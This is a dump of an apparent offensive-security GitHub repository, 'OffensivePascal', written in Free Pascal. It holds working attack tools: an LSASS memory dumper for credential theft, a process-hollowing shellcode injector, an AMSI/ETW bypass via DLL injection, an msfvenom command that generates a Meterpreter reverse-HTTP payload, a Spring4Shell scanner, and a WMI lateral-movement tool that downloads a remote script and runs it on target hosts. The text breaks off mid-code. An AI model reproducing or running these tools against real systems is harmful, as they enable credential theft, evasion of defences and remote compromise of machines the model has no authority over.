{InvalidOpCode} {0xBB} 00, {InvalidOpCode} {0xBC} 00, {InvalidOpCode} {0xBD} 00, {InvalidOpCode} {0xBE} 00, {InvalidOpCode} {0xBF} 00, {InvalidOpCode} {0xC0} 00, {InvalidOpCode} {0xC1} 00, {InvalidOpCode} {0xC2} 00, {InvalidOpCode} {0xC3} 00, {InvalidOpCode} {0xC4} 00, {InvalidOpCode} {0xC5} 00, {InvalidOpCode} {0xC6} 00, {InvalidOpCode} {0xC7} 00, {InvalidOpCode} {0xC8} 00, {InvalidOpCode} {0xC9} 00, {InvalidOpCode} {0xCA} 00, {InvalidOpCode} {0xCB} 00, {InvalidOpCode} {0xCC} 20, {SHA1RNDS4} {0xCD} 00, {InvalidOpCode} {0xCE} 00, {InvalidOpCode} {0xCF} 00, {InvalidOpCode} {0xD0} 00, {InvalidOpCode} {0xD1} 00, {InvalidOpCode} {0xD2} 00, {InvalidOpCode} {0xD3} 00, {InvalidOpCode} {0xD4} 00, {InvalidOpCode} {0xD5} 00, {InvalidOpCode} {0xD6} 00, {InvalidOpCode} {0xD7} 00, {InvalidOpCode} {0xD8} 00, {InvalidOpCode} {0xD9} 00, {InvalidOpCode} {0xDA} 00, {InvalidOpCode} {0xDB} 00, {InvalidOpCode} {0xDC} 00, {InvalidOpCode} {0xDD} 00, {InvalidOpCode} {0xDE} 00, {InvalidOpCode} {0xDF} 82, {VAESKEYGENASSIST} {0xE0} 00, {InvalidOpCode} {0xE1} 00, {InvalidOpCode} {0xE2} 00, {InvalidOpCode} {0xE3} 00, {InvalidOpCode} {0xE4} 00, {InvalidOpCode} {0xE5} 00, {InvalidOpCode} {0xE6} 00, {InvalidOpCode} {0xE7} 00, {InvalidOpCode} {0xE8} 00, {InvalidOpCode} {0xE9} 00, {InvalidOpCode} {0xEA} 00, {InvalidOpCode} {0xEB} 00, {InvalidOpCode} {0xEC} 00, {InvalidOpCode} {0xED} 00, {InvalidOpCode} {0xEE} 00, {InvalidOpCode} {0xEF} 00, {InvalidOpCode} {0xF0} 83, {RORXv} {0xF1} 00, {InvalidOpCode} {0xF2} 00, {InvalidOpCode} {0xF3} 00, {InvalidOpCode} {0xF4} 00, {InvalidOpCode} {0xF5} 00, {InvalidOpCode} {0xF6} 00, {InvalidOpCode} {0xF7} 00, {InvalidOpCode} {0xF8} 00, {InvalidOpCode} {0xF9} 00, {InvalidOpCode} {0xFA} 00, {InvalidOpCode} {0xFB} 00, {InvalidOpCode} {0xFC} 00, {InvalidOpCode} {0xFD} 00, {InvalidOpCode} {0xFE} 00, {InvalidOpCode} {0xFF} 00 {InvalidOpCode} ); ================================================ FILE: Detour Hooking/Source/TlHelp32.inc ================================================ { TlHelp32 types for fpc } const TH32CS_SNAPHEAPLIST = $00000001; TH32CS_SNAPPROCESS = $00000002; TH32CS_SNAPTHREAD = $00000004; TH32CS_SNAPMODULE = $00000008; TH32CS_SNAPALL = TH32CS_SNAPHEAPLIST or TH32CS_SNAPPROCESS or TH32CS_SNAPTHREAD or TH32CS_SNAPMODULE; TH32CS_INHERIT = $80000000; TLS_OUT_OF_INDEXES = DWORD($FFFFFFFF); // FPC does not declare TLS_OUT_OF_INDEXES. type tagTHREADENTRY32 = record dwSize: DWORD; cntUsage: DWORD; th32ThreadID: DWORD; th32OwnerProcessID: DWORD; tpBasePri: Longint; tpDeltaPri: Longint; dwFlags: DWORD; end; THREADENTRY32 = tagTHREADENTRY32; PTHREADENTRY32 = ^tagTHREADENTRY32; LPTHREADENTRY32 = ^tagTHREADENTRY32; TThreadEntry32 = tagTHREADENTRY32; TThread32First = function (hSnapshot: THandle; var lpte: TThreadEntry32): BOOL stdcall; TThread32Next = function (hSnapshot: THandle; var lpte: TThreadENtry32): BOOL stdcall; TCreateToolhelp32Snapshot = function (dwFlags, th32ProcessID: DWORD): THandle; stdcall; ================================================ FILE: Detour Hooking/readme.md ================================================ ## AMSI / ETW bypass The idea of this project is to use Detour library to intercept and redirect functions calls within dynamic link libraries (DLL) in order to bypass AMSI (AmsiScanBuffer) and intercept the (EventWrite) function of ETW to disallow ETW logging. The following project has been coded in Pascal(FPC) and huge thanks goes to https://github.com/MahdiSafsafi/DDetours for porting the library into Delphi. ## How To use there are several of tools for injecting DLL into process, so you might need to have that on hand and do the following ``` - compile the project into DLL (Release / Debug) - inject the DLL into PowerShell Process - Successfully bypass AMSI / ETW ``` ## Credits AmsiDLLHook - https://github.com/tomcarver16/AmsiHook/blob/master/AmsiHook/AmsiHook.cpp Delphi DDetours Library - https://github.com/MahdiSafsafi/DDetours/wiki ================================================ FILE: MiniDump/mini_dump_un.pas ================================================ unit mini_dump_un; {$IFDEF FPC} {$MODE Delphi} {$ENDIF} interface uses SysUtils,JwaTlHelp32,windows; const //DbgHelp 6.1 and earlier: This value is not supported. MemoryInfoListStream = 16; ThreadInfoListStream = 17; HandleOperationListStream = 18; //MINIDUMP_TYPE MiniDumpWithoutOptionalData = $00000400; MiniDumpWithFullMemoryInfo = $00000800; MiniDumpWithThreadInfo = $00001000; MiniDumpWithCodeSegs = $00002000; MiniDumpWithoutAuxiliaryState = $00004000; MiniDumpWithFullAuxiliaryState = $00008000; MiniDumpWithPrivateWriteCopyMemory = $00010000; MiniDumpIgnoreInaccessibleMemory = $00020000; MiniDumpWithTokenInformation = $00040000; type PMINIDUMP_THREAD_INFO = ^MINIDUMP_THREAD_INFO; {$EXTERNALSYM PMINIDUMP_THREAD_INFO} _MINIDUMP_THREAD_INFO = record ThreadId, DumpFlags, //The flags that indicate the thread state. This member can be 0 or one of the MINIDUMP_THREAD_INFO_xxx values. DumpError, //An HRESULT value that indicates the dump status. ExitStatus: ULONG32; //The thread termination status code. CreateTime, //The time when the thread was created, in 100-nanosecond intervals since January 1, 1601 (UTC). ExitTime, //The time when the thread exited, in 100-nanosecond intervals since January 1, 1601 (UTC). KernelTime, //The time executed in kernel mode, in 100-nanosecond intervals. UserTime, //The time executed in user mode, in 100-nanosecond intervals. StartAddress, //The starting address of the thread. Affinity: ULONG64; //The processor affinity mask. //MINIDUMP_THREAD_INFO.DumpFlags: The flags that indicate the thread state: const //A placeholder thread due to an error accessing the thread. No thread information exists beyond the thread identifier. MINIDUMP_THREAD_INFO_ERROR_THREAD = $00000001; //The thread has exited (not running any code) at the time of the dump. MINIDUMP_THREAD_INFO_EXITED_THREAD = $00000004; //Thread context could not be retrieved. MINIDUMP_THREAD_INFO_INVALID_CONTEXT = $00000010; //Thread information could not be retrieved. MINIDUMP_THREAD_INFO_INVALID_INFO = $00000008; //TEB information could not be retrieved. MINIDUMP_THREAD_INFO_INVALID_TEB = $00000020; //This is the thread that called MiniDumpWriteDump. MINIDUMP_THREAD_INFO_WRITING_THREAD = $00000002; end; {$EXTERNALSYM _MINIDUMP_THREAD_INFO} MINIDUMP_THREAD_INFO = _MINIDUMP_THREAD_INFO; {$EXTERNALSYM MINIDUMP_THREAD_INFO} TMinidumpThread_INFO = MINIDUMP_THREAD_INFO; PMinidumpThread_INFO = PMINIDUMP_THREAD_INFO; PMINIDUMP_THREAD_INFO_LIST = ^MINIDUMP_THREAD_INFO_LIST; _MINIDUMP_THREAD_INFO_LIST = record SizeOfHeader, //The size of the header data for the stream, in bytes. This is generally sizeof(MINIDUMP_THREAD_INFO_LIST). SizeOfEntry: ULONG; //The size of each entry following the header, in bytes. This is generally sizeof(MINIDUMP_THREAD_INFO). NumberOfEntries: ULONG64; //The number of entries in the stream. These are generally MINIDUMP_THREAD_INFO structures. The entries follow the header. Threads: array[0..0] of _MINIDUMP_THREAD_INFO; end; MINIDUMP_THREAD_INFO_LIST = _MINIDUMP_THREAD_INFO_LIST; TMinidumpThread_INFO_LIST = MINIDUMP_THREAD_INFO_LIST; PMinidumpThread_INFO_LIST = PMINIDUMP_THREAD_INFO_LIST; procedure MakeMinidump(aPID:DWORD; const aOutputFile: string); implementation uses JwaImageHlp; function MiniDumpWriteDump(hProcess: THANDLE; ProcessId: DWORD; hFile: THANDLE; DumpType: DWORD; ExceptionParam: pointer; UserStreamParam: pointer; CallbackParam: pointer): BOOL; stdcall; external 'dbghelp.dll' name 'MiniDumpWriteDump'; //{$EXTERNALSYM MiniDumpWriteDump} const SE_DEBUG_NAME = 'SeDebugPrivilege'; //this is needed for deugging memeory Function ProcessIDFromAppname32( appname: String ): DWORD; { Take only the application filename, not full path! } Var snapshot: THandle; processEntry : TProcessEntry32; Begin Result := 0; appName := UpperCase( appname ); snapshot := CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); If snapshot <> 0 Then try processEntry.dwSize := Sizeof( processEntry ); If Process32First( snapshot, processEntry ) Then Repeat If Pos(appname, UpperCase(ExtractFilename( StrPas(processEntry.szExeFile)))) > 0 Then Begin Result:= processEntry.th32ProcessID; Break; End; { If } Until not Process32Next( snapshot, processEntry ); finally CloseHandle( snapshot ); End; { try } End; function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean; var hToken: THandle; TokenPriv: TOKEN_PRIVILEGES; PrevTokenPriv: TOKEN_PRIVILEGES; ReturnLength: Cardinal; begin Result := True; // Only for Windows NT/2000/XP and later. if not (Win32Platform = VER_PLATFORM_WIN32_NT) then Exit; Result := False; // obtain the processes token if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then begin try // Get the locally unique identifier (LUID) . if LookupPrivilegeValue(nil, PChar(sPrivilege), TokenPriv.Privileges[0].Luid) then begin TokenPriv.PrivilegeCount := 1; // one privilege to set case bEnabled of True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; False: TokenPriv.Privileges[0].Attributes := 0; end; ReturnLength := 0; // replaces a var parameter PrevTokenPriv := TokenPriv; // enable or disable the privilege AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv), PrevTokenPriv, ReturnLength); end; finally CloseHandle(hToken); end; end; // test the return value of AdjustTokenPrivileges. Result := GetLastError = ERROR_SUCCESS; if not Result then raise Exception.Create(SysErrorMessage(GetLastError)); end; procedure MakeMinidump(aPID:DWORD; const aOutputFile: string); var hProc, hFile,snapshotHandle: THandle; sFile: string; begin NTSetPrivilege(SE_DEBUG_NAME,true); snapshotHandle := 0; sFile := aOutputFile; hProc := OpenProcess(PROCESS_ALL_Access, false, aPID); hFile := CreateFile(PChar(sFile), GENERIC_ALL,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); try if not MiniDumpWriteDump(hproc, aPID, hFile, MiniDumpWithFullMemory, nil, nil ,nil) then RaiseLastOSError; finally FileClose(hfile); end; end; end. ================================================ FILE: MiniDump/minidump.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="12"/> <PathDelim Value="\"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <Title Value="MiniDump"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes> <Item Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> </RunParams> <Units> <Unit> <Filename Value="minidump.lpr"/> <IsPartOfProject Value="True"/> </Unit> <Unit> <Filename Value="mini_dump_un.pas"/> <IsPartOfProject Value="True"/> </Unit> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="minidump"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> </CompilerOptions> <Debugging> <Exceptions> <Item> <Name Value="EAbort"/> </Item> <Item> <Name Value="ECodetoolError"/> </Item> <Item> <Name Value="EFOpenError"/> </Item> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: MiniDump/minidump.lpr ================================================ { this one is part of repo published on github under the name of Offensive Pascal Pascal is a great and still up to date :) these projects can be compilied using FreePascal (FPC) or Delphi } program minidump; {$mode objfpc}{$H+} uses {$IFDEF UNIX} cthreads, {$ENDIF} Classes, SysUtils, CustApp,JwaTlHelp32,windows, mini_dump_un; // imported API //function MiniDumpWriteDump(hProcess: THANDLE; ProcessId: DWORD; hFile: THANDLE; DumpType: DWORD; ExceptionParam: pointer; UserStreamParam: pointer; CallbackParam: pointer): BOOL; stdcall; //external 'dbghelp.dll' name 'MiniDumpWriteDump'; type { TMiniDump } TMiniDump = class(TCustomApplication) protected procedure DoRun; override; public procedure dump; virtual; end; { TMiniDump } Function ProcessIDFromAppname32( appname: String ): DWORD; { Take only the application filename, not full path! } Var snapshot: THandle; processEntry : TProcessEntry32; Begin Result := 0; appName := UpperCase( appname ); snapshot := CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); If snapshot <> 0 Then try processEntry.dwSize := Sizeof( processEntry ); If Process32First( snapshot, processEntry ) Then Repeat If Pos(appname, UpperCase(ExtractFilename( StrPas(processEntry.szExeFile)))) > 0 Then Begin Result:= processEntry.th32ProcessID; Break; End; { If } Until not Process32Next( snapshot, processEntry ); finally CloseHandle(snapshot); End; { try } End; procedure TMiniDump.dump; var dwpid : Dword; begin dwPid := ProcessIDFromAppname32('lsass.exe'); try mini_dump_un.MakeMinidump(dwPid, 'mini.dmp'); writeln('[+] lsass dump created successfully'); finally Terminate; end; end; procedure TMiniDump.DoRun; var ErrorMsg: String; begin { add your program here } dump; // stop program loop Terminate; end; var Application: TMiniDump; begin Application:=TMiniDump.Create(nil); Application.Title:='MiniDump'; Application.Run; Application.Free; end. ================================================ FILE: README.md ================================================ ![image](https://raw.githubusercontent.com/0xsp-SRD/0xsp.com/main/images/lazarus-icon-250x250.webp) # OffensivePascal Pascal Offsec repo for malware dev and red teaming 🚩 # Pending - AMSI / ETW Bypass **make sure to keep watching this repo for changes** # Why I Like Pascal Pascal is fast and verbose,and has full support for OOP, day by day it makes coding much easier for me. i would suggest you to read this article to know more about Pascal https://dubst3pp4.github.io/post/2017-10-03-why-i-use-object-pascal/ # How To Compile - if you interested in cross-compiling, yes that's possible you can do that easily using the following automated tool (https://github.com/LongDirtyAnimAlf/fpcupdeluxe) - you can install Lazarus IDE directly (https://www.lazarus-ide.org/index.php?page=downloads). - dealing with Pascal is easy, all you have to do is import a project and build. - for complicated projects which needs some third-party modules/packages, i will add detailed instructions for installing and compiling. ================================================ FILE: Simple Shellcode injection/info.md ================================================ to generate formatted pascal shellcode using Msfvenom you can achieve that by the exeucting the following command for an example ``` msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.0.107 LPORT=443 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2- ``` if you could face error while compiling the shellcode you can just `$00` at end of generated shellcode, sometime you need `$00,$00` ================================================ FILE: Simple Shellcode injection/injector.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="12"/> <PathDelim Value="\"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasTitleStatement Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <Title Value="injector"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes> <Item Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> </RunParams> <Units> <Unit> <Filename Value="injector.lpr"/> <IsPartOfProject Value="True"/> </Unit> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="injector"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> </CompilerOptions> <Debugging> <Exceptions> <Item> <Name Value="EAbort"/> </Item> <Item> <Name Value="ECodetoolError"/> </Item> <Item> <Name Value="EFOpenError"/> </Item> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: Simple Shellcode injection/injector.lpr ================================================ { this one is part of repo published on github under the name of Offensive Pascal Pascal is a great and still up to date :) these projects can be compilied using FreePascal (FPC) or Delphi author : @zux0x3a site : 0xsp.com / ired.dev https://github.com/0xsp-SRD/OffensivePascal } program injector; {$mode delphi} uses Classes,windows; procedure inject_shell; const //Windows x64 MessageBox Shellcode (434 bytes) shellcode:array[0..434] of BYTE = ( $48,$83,$EC,$28,$48,$83,$E4,$F0,$48,$8D,$15,$66,$00,$00,$00,$48,$8D,$0D,$52,$00,$00,$00,$E8,$9E,$00,$00,$00,$4C,$8B,$F8,$48,$8D,$0D,$5D,$00,$00,$00,$FF,$D0,$48,$8D,$15,$5F,$00,$00,$00,$48,$8D,$0D,$4D,$00,$00,$00,$E8,$7F,$00,$00,$00,$4D,$33,$C9,$4C,$8D,$05,$61,$00,$00,$00,$48,$8D,$15,$4E,$00,$00,$00,$48,$33,$C9,$FF,$D0,$48,$8D,$15,$56,$00,$00,$00,$48,$8D,$0D,$0A,$00,$00,$00,$E8,$56,$00,$00,$00,$48,$33,$C9,$FF,$D0,$4B,$45,$52,$4E,$45,$4C,$33,$32,$2E,$44,$4C,$4C,$00,$4C,$6F,$61,$64,$4C,$69,$62,$72,$61,$72,$79,$41,$00,$55,$53,$45,$52,$33,$32,$2E,$44,$4C,$4C,$00,$4D,$65,$73,$73,$61,$67,$65,$42,$6F,$78,$41,$00,$48,$65,$6C,$6C,$6F,$20,$77,$6F,$72,$6C,$64,$00,$4D,$65,$73,$73,$61,$67,$65,$00,$45,$78,$69,$74,$50,$72,$6F,$63,$65,$73,$73,$00,$48,$83,$EC,$28,$65,$4C,$8B,$04,$25,$60,$00,$00,$00,$4D,$8B,$40,$18,$4D,$8D,$60,$10,$4D,$8B,$04,$24,$FC,$49,$8B,$78,$60,$48,$8B,$F1,$AC,$84,$C0,$74,$26,$8A,$27,$80,$FC,$61,$7C,$03,$80,$EC,$20,$3A,$E0,$75,$08,$48,$FF,$C7,$48,$FF,$C7,$EB,$E5,$4D,$8B,$00,$4D,$3B,$C4,$75,$D6,$48,$33,$C0,$E9,$A7,$00,$00,$00,$49,$8B,$58,$30,$44,$8B,$4B,$3C,$4C,$03,$CB,$49,$81,$C1,$88,$00,$00,$00,$45,$8B,$29,$4D,$85,$ED,$75,$08,$48,$33,$C0,$E9,$85,$00,$00,$00,$4E,$8D,$04,$2B,$45,$8B,$71,$04,$4D,$03,$F5,$41,$8B,$48,$18,$45,$8B,$50,$20,$4C,$03,$D3,$FF,$C9,$4D,$8D,$0C,$8A,$41,$8B,$39,$48,$03,$FB,$48,$8B,$F2,$A6,$75,$08,$8A,$06,$84,$C0,$74,$09,$EB,$F5,$E2,$E6,$48,$33,$C0,$EB,$4E,$45,$8B,$48,$24,$4C,$03,$CB,$66,$41,$8B,$0C,$49,$45,$8B,$48,$1C,$4C,$03,$CB,$41,$8B,$04,$89,$49,$3B,$C5,$7C,$2F,$49,$3B,$C6,$73,$2A,$48,$8D,$34,$18,$48,$8D,$7C,$24,$30,$4C,$8B,$E7,$A4,$80,$3E,$2E,$75,$FA,$A4,$C7,$07,$44,$4C,$4C,$00,$49,$8B,$CC,$41,$FF,$D7,$49,$8B,$CC,$48,$8B,$D6,$E9,$14,$FF,$FF,$FF,$48,$03,$C3,$48,$83,$C4,$28,$C3,$00,$00); var pi: TProcessInformation; si: TStartupInfo; {$ifdef win32} ctx: Context; {$endif} {$ifdef win64} ctx : Pcontext; {$endif} remote_shellcodePtr: Pointer; {$ifdef win64} Written:dword64; {$endif} {$ifdef win32} Written:dword; {$endif} AppToLaunch: string; i ,s_size: Cardinal; shell_prt : string ; shell_code : array of byte; begin AppToLaunch := 'notepad.exe'; UniqueString(AppToLaunch); FillMemory( @si, sizeof( si ), 0 ); FillMemory( @pi, sizeof( pi ), 0 ); writeln('[+] Creating Process in Suspended Mode'); CreateProcess('c:\windows\system32\cmd.exe', PChar(AppToLaunch), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi ); {$ifdef win32} ctx.ContextFlags := CONTEXT_CONTROL; GetThreadContext(pi.hThread,ctx); {$endif} {$ifdef win64} ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE)); ctx.ContextFlags := CONTEXT_ALL; GetThreadContext(pi.hThread,ctx^); {$endif} //allocate the memory size remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT, PAGE_EXECUTE_READWRITE); // write array of bytes into process memory WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written); {$ifdef win64} ctx.rip:=dword64(remote_shellcodePtr); //ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx^); ResumeThread(pi.hThread); {$ENDIF} {$ifdef win32} ctx.Eip:=integer(remote_shellcodePtr); ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx); ResumeThread(pi.hThread); {$endif} end; begin inject_shell; end. ================================================ FILE: SpringCore-Scanner/compiled/Linux/readme.md ================================================ compiled for debian and ubuntu ``` Single scan: /home/kali/springcore scanner/springcore_sanner -s -u http://host -p 8080 -a / Multi scan : /home/kali/springcore scanner/springcore_sanner -m -u target -p 8080 -a /application/index -------------------------- -s-- single scan mode -m-- multi scan mode -u-- supply single HTTP/HTTPS or load a list from file -p-- specify a port -a-- supply the path of application default e.g / ``` ================================================ FILE: SpringCore-Scanner/readme.md ================================================ for compiling you need Lazarus IDE - open project file - build the project ### usage ``` Single scan: /home/kali/springcore scanner/springcore_sanner -s -u http://host -p 8080 -a / Multi scan : /home/kali/springcore scanner/springcore_sanner -m -u target -p 8080 -a /application/index -------------------------- -s -- single scan mode -m -- multi scan mode -u -- supply single HTTP/HTTPS or load a list from file -p -- specify a port -a -- supply the path of application default e.g / ``` ================================================ FILE: SpringCore-Scanner/springcore_sanner.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="11"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <MainUnit Value="0"/> <Title Value="scanner"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes Count="1"> <Item1 Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> <Modes Count="0"/> </RunParams> <Units Count="1"> <Unit0> <Filename Value="springcore_sanner.lpr"/> <IsPartOfProject Value="True"/> </Unit0> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <Target> <Filename Value="springcore_sanner"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> </SearchPaths> </CompilerOptions> <Debugging> <Exceptions Count="3"> <Item1> <Name Value="EAbort"/> </Item1> <Item2> <Name Value="ECodetoolError"/> </Item2> <Item3> <Name Value="EFOpenError"/> </Item3> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: SpringCore-Scanner/springcore_sanner.lpr ================================================ program springcore_sanner; {$mode objfpc}{$H+} uses {$IFDEF UNIX}{$IFDEF UseCThreads} cthreads, {$ENDIF}{$ENDIF} Classes, SysUtils,FPHTTPClient, openssl, opensslsockets, CustApp { you can add units after this }; type { Tspringscanner } Tspringscanner = class(TCustomApplication) protected procedure DoRun; override; public constructor Create(TheOwner: TComponent); override; destructor Destroy; override; procedure WriteHelp; virtual; procedure scan; virtual; procedure multi_scan; virtual; end; { Tspringscanner } function scan_vuln(url:string;app:string):string; var FPHTTPClient: TFPHTTPClient; Resultget,magic_code,res: string; ok : integer; begin magic_code := '/?class.module.classLoader.URLs%5B0%5D=0'; FPHTTPClient := TFPHTTPClient.Create(nil); FPHTTPClient.AllowRedirect := True; try FPHTTPClient.Get(url+magic_code); // test URL, real one is HTTPS except on E: exception do res := (E.Message) end; ok := pos('400',res); if ok > 0 then result := 'vulnerable' else result := 'not vulnerable'; FPHTTPClient.Free; end; procedure Tspringscanner.DoRun; var ErrorMsg: String; msg : string; begin // quick check parameters ErrorMsg:=CheckOptions('h u p s m a', 'help'); if ErrorMsg<>'' then begin ShowException(Exception.Create(ErrorMsg)); Terminate; Exit; end; // parse parameters if HasOption('h', 'help') then begin WriteHelp; Terminate; Exit; end; if hasoption('s') then begin scan; end; if hasoption('m') then begin multi_scan; end; { add your program here } // stop program loop Terminate; end; constructor Tspringscanner.Create(TheOwner: TComponent); begin inherited Create(TheOwner); StopOnException:=True; end; destructor Tspringscanner.Destroy; begin inherited Destroy; end; procedure banner; var s : string; begin s:= '[!] coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] thanks to : RandoriAttack'+#10; writeln(s); end; procedure Tspringscanner.multi_scan; var msg,url,port,app:string; list: Tstringlist; i: integer; begin banner; url := getoptionvalue('u'); port := getoptionvalue('p'); app := getoptionvalue('a'); try list := Tstringlist.Create; list.LoadFromFile(url); for i := 0 to list.Count -1 do begin ; if length(port) > 0 then begin msg := scan_vuln(list.Strings[i]+':'+port,app) end else msg := scan_vuln(list.Strings[i],app); writeln('[!] the following URL '+list.Strings[i] + ' is ' + msg); end; finally list.free; end; end; procedure Tspringscanner.scan; var msg,url,port,app:string; begin banner; url := getoptionvalue('u'); port := getoptionvalue('p'); app := getoptionvalue('a'); if length(port) > 0 then begin msg := scan_vuln(url+':'+port,app) end else msg := scan_vuln(url,app); writeln('[+] the following URL '+url+' is '+msg); end; procedure Tspringscanner.WriteHelp; begin { add your help code here } writeln('Single scan: ', ExeName, ' -s -u http://host -p 8080 -a /'); writeln('Multi scan : ', ExeName, ' -m -u target -p 8080 -a /application/index '); writeln('--------------------------'); writeln('-s','-- single scan mode'); writeln('-m','-- multi scan mode'); writeln('-u','-- supply single HTTP/HTTPS or load a list from file'); writeln('-p','-- specify a port '); writeln('-a','-- supply the path of application default e.g / '); end; var Application: Tspringscanner; begin Application:=Tspringscanner.Create(nil); Application.Title:='scanner'; Application.Run; Application.Free; end. ================================================ FILE: WMI Lateral movement/lat.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="12"/> <PathDelim Value="\"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <Title Value="WmiLateral"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes> <Item Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> </RunParams> <Units> <Unit> <Filename Value="lat.lpr"/> <IsPartOfProject Value="True"/> </Unit> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="lat"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> </CompilerOptions> <Debugging> <Exceptions> <Item> <Name Value="EAbort"/> </Item> <Item> <Name Value="ECodetoolError"/> </Item> <Item> <Name Value="EFOpenError"/> </Item> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: WMI Lateral movement/lat.lpr ================================================ program lat; {$mode objfpc}{$H+} uses {$IFDEF UNIX} cthreads, {$ENDIF} Classes,windows, SysUtils,FPHTTPClient,comobj,activex,variants, openssl, opensslsockets,CustApp; const HIDDEN_WINDOW = 0; type { TLaterl } TLaterl = class(TCustomApplication) protected procedure DoRun; override; public procedure WriteHelp; virtual; procedure WMI; virtual; end; { TLaterl } procedure TLaterl.DoRun; var ErrorMsg: String; begin // quick check parameters ErrorMsg:=CheckOptions('h username password host srvhost', 'help'); if ErrorMsg<>'' then begin ShowException(Exception.Create(ErrorMsg)); Terminate; Exit; end; // parse parameters if HasOption('h', 'help') then begin WriteHelp; Terminate; Exit; end; { add your program here } WMI; // stop program loop Terminate; end; procedure banner; var s : string; begin s:= '[!] coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] https://0xsp.com & https://ired.dev'+#10; writeln(s); end; function getscript(url:string):string; // get your script from remote web interface var FPHTTPClient: TFPHTTPClient; Resultget : string; begin FPHTTPClient := TFPHTTPClient.Create(nil); FPHTTPClient.AllowRedirect := True; try Resultget := FPHTTPClient.Get(url); // example https://pastebin.com/raw/wtf50XsX getscript := Resultget; Writeln('[+] Getting Shell....'); except on E: exception do writeln(E.Message); end; FPHTTPClient.Free; end; procedure TLaterl.WMI; var FSWbemLocator : OLEVariant; FWMIService : OLEVariant; FWbemObject : OLEVariant; objProcess : OLEVariant; objConfig : OLEVariant; ProcessID : Integer; backdoor : OLEVariant; username,password,host: OLEVariant; srvhost :string; i:integer; begin; banner; for i := 1 to paramcount do begin if(paramstr(i)='-username') then begin username := paramstr(i+1); writeln('[+] using username : '+'['+username+']'+' to authenticate'); end; if(paramstr(i)='-password') then begin password := paramstr(i+1); end; if(paramstr(i)='-host') then begin host := paramstr(i+1); writeln('[!] trying to connect to '+host); end; if (paramstr(i)='-srvhost') then begin srvhost := paramstr(i+1); end; end; backdoor := trim(GetScript(srvhost)); FSWbemLocator := CreateOleObject('WbemScripting.SWbemLocator'); FWMIService := FSWbemLocator.ConnectServer(host, 'root\CIMV2', username, password); FWbemObject := 